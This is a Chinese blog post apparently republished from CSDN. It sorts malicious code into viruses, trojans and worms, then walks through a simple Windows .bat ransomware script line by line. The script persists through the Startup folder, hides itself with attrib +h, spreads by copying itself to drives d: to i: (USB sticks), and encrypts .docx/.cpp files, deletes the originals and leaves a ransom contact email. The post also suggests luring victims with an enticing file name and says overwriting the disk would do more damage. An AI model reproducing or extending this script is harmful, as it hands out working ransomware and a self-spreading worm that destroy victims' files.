病毒:寄生存在,所谓寄生,就是病毒的指令存在于其它可执行程序的空指令部分。如下图为一个标准的计寄生形式的病毒:
运行可执行程序,一个 jmp 指令会导致程序跳转到病毒所在指令处开始执行,执行完毕之后跳转回正常代码区开始执行可执行程序。
木马:独立存在,一般具有潜伏期(一般是. exe、.com、.pif、.scr 等为后缀的文件)
蠕虫:强制传染性,常利用主机的漏洞在网络中传播。如下为一个蠕虫的基本结构:
蠕虫其重要的一个特点就是存在扫描模块与感染模块。
由于早期的 DOS 系统,其系统占用内存小,且文件数目少,所以寄生形式的病毒比较多,因为木马是一个独立的文件,如果系统文件本身就比较少,随便多出一个文件就可能会被发现,所以破坏性的代码基本都以寄生形式的病毒出现。而木马一般都有潜伏期,就像特洛伊木马潜伏在城内,在特定的时间才进行攻击或者非攻击的其它操作。如今似乎这三者的区分已经不那么明显,我们一般统称为病毒。
一般恶意代码的几个关键点:
①如何隐蔽自己:代码精炼、文件寄生、进程隐藏
②如何激活自己:木马型:开机自启、登录、定时、自动运行等;寄生型:和宿主一块启动。
③如何传染别人:网络共享、感染 U 盘、发送邮件、发送聊天附件、扫描主机漏洞。
④如何达到目的:键盘记录(获取网络登录信息等)、传走文件 / 删除文件 / 加密文件(进行勒索)、控制主机(如僵尸网络等)
以一个. bat 脚本来说明一个简单的破坏性代码的形式:
- copy % 0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"copy encrypt.exe "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"attrib + h % 0 attrib + h encrypt.exe copy % 0 d: \copy % 0 e: \copy % 0 f: \copy % 0 g: \copy % 0 h: \copy % 0 i: \
- c: for / r. % %i in ( * .docx) do(encrypt.exe e passwd % %i % %i.cpp要解密联系mailbox_krj@163.com del % %i)
如何激活?用将脚本名改为 "美女"/"系统一键修复" 等具有诱惑性的名称,(当然把一个脚本名命名为诱惑性的名称,似乎上当的概率不太大,对于一个稍微有点常识的人来说,但是. exe 可执行文件就不一定了)。当你双击运行脚本,copy %0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" 就会将该文件拷贝到系统开机自启动目录下。那么以后就不需要诱惑性激活,而可以自行激活。
%0 是执行的带路径文件名
%USERPROFILE% 是当前用户
** 如何隐藏?**attrib +h %0 命令将执行的文件隐藏起来。+h(hide) 表示为文件增加 hide(隐藏)属性。
如何传染别人?
- copy % 0 d: \copy % 0 e: \copy % 0 f: \copy % 0 g: \copy % 0 h: \copy % 0 i: \
如果 d 盘到 i 盘(一般 U 盘基本不会超过这个范围,当然你也可以多写几个拷贝命令一直拷贝到 z: 盘)中有一个是 U 盘或可以移动的存储介质,那么当该脚本执行时就会将自己复制到 U 盘上去,在别人使用该 U 盘时,被诱惑性的文件名所欺骗激活病毒,该病毒就传播感染到其它计算机上去了。
如何达到目的? 目的有好有坏,如果是脚本中所写:
- c: for / r. % %i in ( * .cpp) do(encrypt.exe e 123456 % %i % %i.cpp要解密联系mailbox_krj@163.com del % %i)
注:encrypt.exe 是自己写的一个简单的加密算法,e 为命令行参数表示加密,123456 为密钥。encrypt.exe 将所有. cpp 文件加密并修改文件名。达到勒索的目的。(当然该. bat 勒索病毒需要一个 encrypt.exe 加密程序,当然加密程序与. bat 脚本都可以合并到一个 C/C++ 写的恶意代码中去)。关于加密程序可简单参考: TEA 加密算法
其实 del %%i 做的并不是特别干净,因为删除的文件还有可能再找回来。如果完全用垃圾数据覆盖磁盘,或者直接在原件上加密而不是在副本上加密而删除原件,其恶意性更为突出。
来源: http://blog.csdn.net/apollon_krj/article/details/75040128